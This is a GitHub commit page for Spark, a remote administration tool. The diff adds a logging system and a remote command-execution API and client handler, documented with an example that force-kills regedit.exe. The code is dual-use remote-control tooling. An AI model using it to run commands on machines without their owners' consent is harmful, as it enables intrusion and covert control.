Skip to content

Commit 844a0ba

Browse files
author
XZB-1248
committed
add: log system
1 parent c8437aa commit 844a0ba

File tree

39 files changed

+923
-222
lines changed

39 files changed

+923
-222
lines changed

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
/releases
22
/built
33
/tools
4+
/logs
45
/.idea
56
/Config.json
67
dist/

API.ZH.md

Lines changed: 28 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -133,13 +133,38 @@ Authorization: Basic WFpCOjEyNDg=
133133

134134
---
135135

136+
### 执行命令:`/device/exec`
137+
138+
参数:`cmd``args`以及`device`(设备ID)
139+
140+
示例:
141+
```http request
142+
POST http://localhost:8000/api/device/exec HTTP/1.1
143+
Host: localhost:8000
144+
Content-Length: 116
145+
Content-Type: application/x-www-form-urlencoded
146+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47
147+
Origin: http://localhost:8000
148+
Referer: http://localhost:8000/
149+
150+
cmd=taskkill&args=%2Ff%20%2Fim%20regedit.exe&device=bc7e49f8f794f80ffb0032a4ba516c86d76041bf2023e1be6c5dda3b1ee0cf4c
151+
```
152+
153+
```
154+
{
155+
"code": 0
156+
}
157+
```
158+
159+
---
160+
136161
### 获取截屏:`/device/screenshot/get`
137162

138163
参数:`device`(设备ID)
139164

140165
如果截屏获取成功,则会直接以图片的形式输出。
141166
<br />
142-
如果截屏失败,如下响应会被输出(错误信息不一定是这一个)。
167+
如果截屏失败,如下响应会被输出(错误信息不唯一)。
143168

144169
```
145170
{
@@ -199,7 +224,7 @@ Authorization: Basic WFpCOjEyNDg=
199224
<br />
200225
如果存在同名文件,则会被**覆盖**
201226

202-
Example:
227+
示例:
203228
```http request
204229
POST http://localhost:8000/api/device/file/upload?path=D%3A%5C&file=Test.txt&device=bc7e49f8f794f80ffb0032a4ba516c86d76041bf2023e1be6c5dda3b1ee0cf4c HTTP/1.1
205230
Host: localhost:8000
@@ -212,7 +237,7 @@ Referer: http://localhost:8000/
212237
Hello World.
213238
```
214239

215-
如果文件上传成功,则`code``1`
240+
如果文件上传成功,则`code``0`
216241
<br />
217242
文件`D:\Test.txt`会写入:`Hello World.`
218243

API.md

Lines changed: 26 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ Example:
2020
Authorization: Basic WFpCOjEyNDg=
2121
```
2222

23-
After basic authentication, server will assign you a `Authorization` cookie.
23+
After basic authentication, server will assign you an `Authorization` cookie.
2424
<br />
2525
You can use this token cookie to authenticate rest of your requests.
2626

@@ -130,6 +130,31 @@ For example, when you call `/device/restart`, your device will restart.
130130

131131
---
132132

133+
### Execute command: `/device/exec`
134+
135+
Parameters: `cmd`, `args` and `device` (device ID)
136+
137+
Example:
138+
```http request
139+
POST http://localhost:8000/api/device/exec HTTP/1.1
140+
Host: localhost:8000
141+
Content-Length: 116
142+
Content-Type: application/x-www-form-urlencoded
143+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47
144+
Origin: http://localhost:8000
145+
Referer: http://localhost:8000/
146+
147+
cmd=taskkill&args=%2Ff%20%2Fim%20regedit.exe&device=bc7e49f8f794f80ffb0032a4ba516c86d76041bf2023e1be6c5dda3b1ee0cf4c
148+
```
149+
150+
```
151+
{
152+
"code": 0
153+
}
154+
```
155+
156+
---
157+
133158
### Take screenshot: `/device/screenshot/get`
134159

135160
Parameters: `device` (device ID)

CHANGELOG.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,15 @@
1+
## v0.1.6
2+
3+
* Optimize: potential crash problem of explorer.
4+
* Add: set config through command line arguments.
5+
* Add: log system.
6+
7+
* 优化:文件管理器可能导致服务崩溃。
8+
* 添加:支持通过命令行设置相关配置。
9+
* 新增:日志机制。
10+
11+
12+
113
## v0.1.5
214

315
* Optimize: performance of desktop viewer on Windows.

README.ZH.md

Lines changed: 11 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -24,9 +24,11 @@
2424

2525
**本项目及其源代码和发行版,旨在用于学习和交流。**
2626
<br />
27+
**禁止用于任何非法用途!**
28+
<br />
2729
**使用本项目所带来的风险由使用者本人承担。**
2830
<br />
29-
**作者和开发者不会对你的错误使用而造成的损害承担任何责任**
31+
**作者和开发者不会对你错误使用而造成的损害承担任何责任**
3032

3133
**数据无价,在点击任何按钮、输入任何命令之前,请三思。**
3234

@@ -40,14 +42,19 @@
4042

4143
*[Releases](https://github.com/XZB-1248/Spark/releases) 页面下载对应系统的可执行文件。
4244
* 解压文件,**不要删除**`built`文件夹。
43-
* 在目录下创建一个名为`Config.json`的配置文件,修改其中的信息
45+
* 在目录下创建一个名为`config.json`的配置文件,设置好相关的配置信息
4446

4547
```json
4648
{
4749
"listen": ":8000",
48-
"salt": "some random string",
50+
"salt": "随机字符串(英文数字符号,小于24位)",
4951
"auth": {
50-
"username": "password"
52+
"用户名": "密码(英文数字符号)"
53+
},
54+
"log": {
55+
"level": "info",
56+
"path": "./logs",
57+
"days": 7
5158
}
5259
}
5360
```

README.md

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,8 @@ server forever.
2626

2727
**THIS PROJECT, ITS SOURCE CODE, AND ITS RELEASES SHOULD ONLY BE USED FOR EDUCATIONAL PURPOSES.**
2828
<br />
29+
**ALL ILLEGAL USAGE IS PROHIBITED!**
30+
<br />
2931
**YOU SHALL USE THIS PROJECT AT YOUR OWN RISK.**
3032
<br />
3133
**THE AUTHORS AND DEVELOPERS ARE NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY YOUR MISUSE OF THIS PROJECT.**
@@ -41,14 +43,19 @@ Only local installation are available yet.
4143
### Local installation
4244
* Get prebuilt executable file from [Releases](https://github.com/XZB-1248/Spark/releases) page.
4345
* Extract all files and **do not** delete `built` directory.
44-
* Create a configuration file named `Config.json` and set your own salt.
46+
* Create a configuration file named `config.json` and set your own salt.
4547

4648
```json
4749
{
4850
"listen": ":8000",
49-
"salt": "some random string",
51+
"salt": "some random string length <= 24",
5052
"auth": {
5153
"username": "password"
54+
},
55+
"log": {
56+
"level": "info",
57+
"path": "./logs",
58+
"days": 7
5259
}
5360
}
5461
```

client/client.go

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,6 @@ import (
88
"crypto/aes"
99
"crypto/cipher"
1010
"math/big"
11-
"net/http"
12-
_ "net/http/pprof"
1311
"os"
1412
"os/exec"
1513
"strings"
@@ -21,18 +19,18 @@ import (
2119
func init() {
2220
golog.SetTimeFormat(`2006/01/02 15:04:05`)
2321

24-
if len(strings.Trim(config.CfgBuffer, "\x19")) == 0 {
22+
if len(strings.Trim(config.ConfigBuffer, "\x19")) == 0 {
2523
os.Exit(0)
2624
return
2725
}
2826

2927
// Convert first 2 bytes to int, which is the length of the encrypted config.
30-
dataLen := int(big.NewInt(0).SetBytes([]byte(config.CfgBuffer[:2])).Uint64())
31-
if dataLen > len(config.CfgBuffer)-2 {
28+
dataLen := int(big.NewInt(0).SetBytes([]byte(config.ConfigBuffer[:2])).Uint64())
29+
if dataLen > len(config.ConfigBuffer)-2 {
3230
os.Exit(0)
3331
return
3432
}
35-
cfgBytes := []byte(config.CfgBuffer[2 : 2+dataLen])
33+
cfgBytes := utils.StringToBytes(config.ConfigBuffer, 2, 2+dataLen)
3634
cfgBytes, err := decrypt(cfgBytes[16:], cfgBytes[:16])
3735
if err != nil {
3836
os.Exit(0)
@@ -49,7 +47,6 @@ func init() {
4947
}
5048

5149
func main() {
52-
go http.ListenAndServe(`:6060`, nil)
5350
update()
5451
core.Start()
5552
}

client/common/common.go

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -18,12 +18,12 @@ type Conn struct {
1818
secretHex string
1919
}
2020

21+
const MaxMessageSize = (2 << 15) + 1024
22+
2123
var WSConn *Conn
2224
var Mutex = &sync.Mutex{}
2325
var HTTP = CreateClient()
2426

25-
const MaxMessageSize = 32768 + 1024
26-
2727
func CreateConn(wsConn *ws.Conn, secret []byte) *Conn {
2828
return &Conn{
2929
Conn: wsConn,
@@ -42,7 +42,7 @@ func (wsConn *Conn) SendData(data []byte) error {
4242
if WSConn == nil {
4343
return errors.New(`${i18n|wsClosed}`)
4444
}
45-
wsConn.SetWriteDeadline(Now.Add(5 * time.Second))
45+
wsConn.SetWriteDeadline(utils.Now.Add(5 * time.Second))
4646
defer wsConn.SetWriteDeadline(time.Time{})
4747
return wsConn.WriteMessage(ws.BinaryMessage, data)
4848
}
@@ -68,7 +68,7 @@ func (wsConn *Conn) SendPack(pack any) error {
6868
if WSConn == nil {
6969
return errors.New(`${i18n|wsClosed}`)
7070
}
71-
wsConn.SetWriteDeadline(Now.Add(5 * time.Second))
71+
wsConn.SetWriteDeadline(utils.Now.Add(5 * time.Second))
7272
defer wsConn.SetWriteDeadline(time.Time{})
7373
return wsConn.WriteMessage(ws.BinaryMessage, data)
7474
}

client/config/config.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -16,10 +16,10 @@ type Cfg struct {
1616

1717
// Localhost for my development only.
1818
// Shall be commented out when development is done.
19-
//var CfgBuffer = "\x00\xcd\xc6\x68\x5d\xf5\x83\x53\x1c\x49\xa2\x35\x7b\x5b\xaf\xf2\x9e\x6d\x74\x00\x95\x23\x73\x00\x77\xa0\xe1\x46\x64\xd2\x33\x2b\x04\xb2\xca\x70\xda\x4b\xed\xec\x43\x6b\xeb\x6e\x10\x53\x6e\x62\x13\x3c\xb1\x0a\xdd\xc0\x48\x2d\x77\xfa\x4a\x9b\x26\xb5\x1b\x50\x62\x05\xcc\xc9\x3b\x22\xf5\x19\x5b\xac\x41\x74\xc9\x9e\x02\x9f\xe8\x75\xce\x3a\xe0\x50\x67\x0f\x81\x01\xca\x47\x0d\xb2\x09\x8b\x74\x6c\xfd\xc5\x73\xf9\x2a\xf0\x13\x52\xb7\x79\xff\xeb\xab\xcd\x9f\xe8\xb7\xae\xff\xa9\x50\xb2\x90\x11\x35\x4d\x94\x6e\x67\x55\x37\x66\x58\x21\xc0\x0d\xab\x3b\x6f\xc4\x00\x56\xd6\x06\xa0\x7e\x73\xdf\x46\x76\xe0\xb3\x89\x0d\xa2\x33\x07\x39\x81\x2b\x59\x30\x24\xc7\x4f\xe9\xb9\xf6\x3c\xb6\x24\xc5\x44\xde\xe6\x66\x66\x92\x49\xe1\x38\x50\xff\xb5\xf3\x20\xb9\x15\x60\x4a\xdf\xba\xd5\xae\x85\x7e\x3f\x8a\xf0\xb8\xf5\x23\x39\xf0\x46\x11\x64\x42\x04\x8c\xf0\x8a\x5e\xc7\x43\xd2\x0c\x89\xd1\xc4\x14\x26\xb1\x67\x64\x28\x77\xf4\xc8\xf3\x51\x69\xba\xf2\xca\xfa\x2f\x11\xe0\x8d\x6c\x4e\x8c\xb7\x28\xf5\x2a\x67\xe3\x8f\xf0\x7f\x79\xc5\xa5\x1a\xb5\xa1\x22\xe9\x55\x61\xdd\xce\x39\x13\x4b\xdd\x19\xf1\x5c\x86\x9b\x16\x89\x45\xba\x16\x68\xfc\x88\x4b\xd5\x13\xa4\x7e\x26\xce\x35\x2d\x42\x4d\x21\xf1\xc3\x6d\xf5\x64\x16\xc9\x05\xed\x9b\x6c\xbf\x26\xe3\xad\x40\x1d\xc6\x64\x03\xb9\xcb\xca\x3c\x62\x5d\x07\x6b\x07\x8b\xa9\x86\x60\x27\x28\xe7\xa3\xc2\x8d\x6f\xc0\x3d\x8e\x14\xa6\xcc\xe0\x50\x51\x22\x20\x6b\x16\x10\xe9\xe0\x4a\xd2\x4e\x77\xc8\xd1\xf7\x60\x4c\xed\xca\x3f\x1e\x13\x0a\x2e\x84\x15\xd3\xf6\x3e\x13\x4e\x68\xaf\xfd\x7a\xd7\x5b\xaa\x5b\x28\x7c\x3f\xb3\xd0\xd0"
19+
//var ConfigBuffer = "\x00\xcd\xc6\x68\x5d\xf5\x83\x53\x1c\x49\xa2\x35\x7b\x5b\xaf\xf2\x9e\x6d\x74\x00\x95\x23\x73\x00\x77\xa0\xe1\x46\x64\xd2\x33\x2b\x04\xb2\xca\x70\xda\x4b\xed\xec\x43\x6b\xeb\x6e\x10\x53\x6e\x62\x13\x3c\xb1\x0a\xdd\xc0\x48\x2d\x77\xfa\x4a\x9b\x26\xb5\x1b\x50\x62\x05\xcc\xc9\x3b\x22\xf5\x19\x5b\xac\x41\x74\xc9\x9e\x02\x9f\xe8\x75\xce\x3a\xe0\x50\x67\x0f\x81\x01\xca\x47\x0d\xb2\x09\x8b\x74\x6c\xfd\xc5\x73\xf9\x2a\xf0\x13\x52\xb7\x79\xff\xeb\xab\xcd\x9f\xe8\xb7\xae\xff\xa9\x50\xb2\x90\x11\x35\x4d\x94\x6e\x67\x55\x37\x66\x58\x21\xc0\x0d\xab\x3b\x6f\xc4\x00\x56\xd6\x06\xa0\x7e\x73\xdf\x46\x76\xe0\xb3\x89\x0d\xa2\x33\x07\x39\x81\x2b\x59\x30\x24\xc7\x4f\xe9\xb9\xf6\x3c\xb6\x24\xc5\x44\xde\xe6\x66\x66\x92\x49\xe1\x38\x50\xff\xb5\xf3\x20\xb9\x15\x60\x4a\xdf\xba\xd5\xae\x85\x7e\x3f\x8a\xf0\xb8\xf5\x23\x39\xf0\x46\x11\x64\x42\x04\x8c\xf0\x8a\x5e\xc7\x43\xd2\x0c\x89\xd1\xc4\x14\x26\xb1\x67\x64\x28\x77\xf4\xc8\xf3\x51\x69\xba\xf2\xca\xfa\x2f\x11\xe0\x8d\x6c\x4e\x8c\xb7\x28\xf5\x2a\x67\xe3\x8f\xf0\x7f\x79\xc5\xa5\x1a\xb5\xa1\x22\xe9\x55\x61\xdd\xce\x39\x13\x4b\xdd\x19\xf1\x5c\x86\x9b\x16\x89\x45\xba\x16\x68\xfc\x88\x4b\xd5\x13\xa4\x7e\x26\xce\x35\x2d\x42\x4d\x21\xf1\xc3\x6d\xf5\x64\x16\xc9\x05\xed\x9b\x6c\xbf\x26\xe3\xad\x40\x1d\xc6\x64\x03\xb9\xcb\xca\x3c\x62\x5d\x07\x6b\x07\x8b\xa9\x86\x60\x27\x28\xe7\xa3\xc2\x8d\x6f\xc0\x3d\x8e\x14\xa6\xcc\xe0\x50\x51\x22\x20\x6b\x16\x10\xe9\xe0\x4a\xd2\x4e\x77\xc8\xd1\xf7\x60\x4c\xed\xca\x3f\x1e\x13\x0a\x2e\x84\x15\xd3\xf6\x3e\x13\x4e\x68\xaf\xfd\x7a\xd7\x5b\xaa\x5b\x28\x7c\x3f\xb3\xd0\xd0"
2020

2121
// None
22-
var CfgBuffer = "\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19"
22+
var ConfigBuffer = "\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19\x19"
2323

2424
// COMMIT means this commit hash, help to identify version and self upgrade.
2525
var COMMIT = ``

client/core/core.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -91,7 +91,7 @@ func reportWS(wsConn *common.Conn) error {
9191
if err != nil {
9292
return err
9393
}
94-
common.WSConn.SetReadDeadline(common.Now.Add(5 * time.Second))
94+
common.WSConn.SetReadDeadline(utils.Now.Add(5 * time.Second))
9595
_, data, err := common.WSConn.ReadMessage()
9696
common.WSConn.SetReadDeadline(time.Time{})
9797
if err != nil {
@@ -116,7 +116,7 @@ func checkUpdate(wsConn *common.Conn) error {
116116
return nil
117117
}
118118
resp, err := common.HTTP.R().
119-
SetBody(config.CfgBuffer).
119+
SetBody(config.ConfigBuffer).
120120
SetQueryParam(`os`, runtime.GOOS).
121121
SetQueryParam(`arch`, runtime.GOARCH).
122122
SetQueryParam(`commit`, config.COMMIT).

client/core/handler.go

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,9 @@ import (
1111
"Spark/modules"
1212
"github.com/kataras/golog"
1313
"os"
14+
"os/exec"
1415
"reflect"
16+
"strings"
1517
)
1618

1719
var handlers = map[string]func(pack modules.Packet, wsConn *common.Conn){
@@ -40,6 +42,7 @@ var handlers = map[string]func(pack modules.Packet, wsConn *common.Conn){
4042
`pingDesktop`: pingDesktop,
4143
`killDesktop`: killDesktop,
4244
`getDesktop`: getDesktop,
45+
`execCommand`: execCommand,
4346
}
4447

4548
func ping(pack modules.Packet, wsConn *common.Conn) {
@@ -131,6 +134,8 @@ func initTerminal(pack modules.Packet, wsConn *common.Conn) {
131134
err := terminal.InitTerminal(pack)
132135
if err != nil {
133136
wsConn.SendCallback(modules.Packet{Act: `initTerminal`, Code: 1, Msg: err.Error()}, pack)
137+
} else {
138+
wsConn.SendCallback(modules.Packet{Act: `initTerminal`, Code: 0}, pack)
134139
}
135140
}
136141

@@ -318,6 +323,8 @@ func initDesktop(pack modules.Packet, wsConn *common.Conn) {
318323
err := desktop.InitDesktop(pack)
319324
if err != nil {
320325
wsConn.SendCallback(modules.Packet{Act: `initDesktop`, Code: 1, Msg: err.Error()}, pack)
326+
} else {
327+
wsConn.SendCallback(modules.Packet{Act: `initDesktop`, Code: 0}, pack)
321328
}
322329
}
323330

@@ -332,3 +339,34 @@ func killDesktop(pack modules.Packet, wsConn *common.Conn) {
332339
func getDesktop(pack modules.Packet, wsConn *common.Conn) {
333340
desktop.GetDesktop(pack)
334341
}
342+
343+
func execCommand(pack modules.Packet, wsConn *common.Conn) {
344+
var proc *exec.Cmd
345+
var cmd, args string
346+
if val, ok := pack.Data[`cmd`]; !ok {
347+
wsConn.SendCallback(modules.Packet{Code: 1, Msg: `${i18n|invalidParameter}`}, pack)
348+
return
349+
} else {
350+
cmd = val.(string)
351+
}
352+
if val, ok := pack.Data[`args`]; !ok {
353+
wsConn.SendCallback(modules.Packet{Code: 1, Msg: `${i18n|invalidParameter}`}, pack)
354+
return
355+
} else {
356+
args = val.(string)
357+
}
358+
if len(args) == 0 {
359+
proc = exec.Command(cmd)
360+
} else {
361+
proc = exec.Command(cmd, strings.Split(args, ` `)...)
362+
}
363+
err := proc.Start()
364+
if err != nil {
365+
wsConn.SendCallback(modules.Packet{Code: 1, Msg: err.Error()}, pack)
366+
} else {
367+
wsConn.SendCallback(modules.Packet{Code: 0, Data: map[string]any{
368+
`pid`: proc.Process.Pid,
369+
}}, pack)
370+
proc.Process.Release()
371+
}
372+
}

client/service/desktop/desktop.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -300,7 +300,7 @@ func InitDesktop(pack modules.Packet) error {
300300
desktop := &session{
301301
event: pack.Event,
302302
rawEvent: rawEvent,
303-
lastPack: common.Unix,
303+
lastPack: utils.Unix,
304304
escape: false,
305305
channel: make(chan message, 4),
306306
lock: &sync.Mutex{},
@@ -345,7 +345,7 @@ func PingDesktop(pack modules.Packet) {
345345
return
346346
} else {
347347
desktop = val.(*session)
348-
desktop.lastPack = common.Unix
348+
desktop.lastPack = utils.Unix
349349
}
350350
}
351351

0 commit comments

Comments
 (0)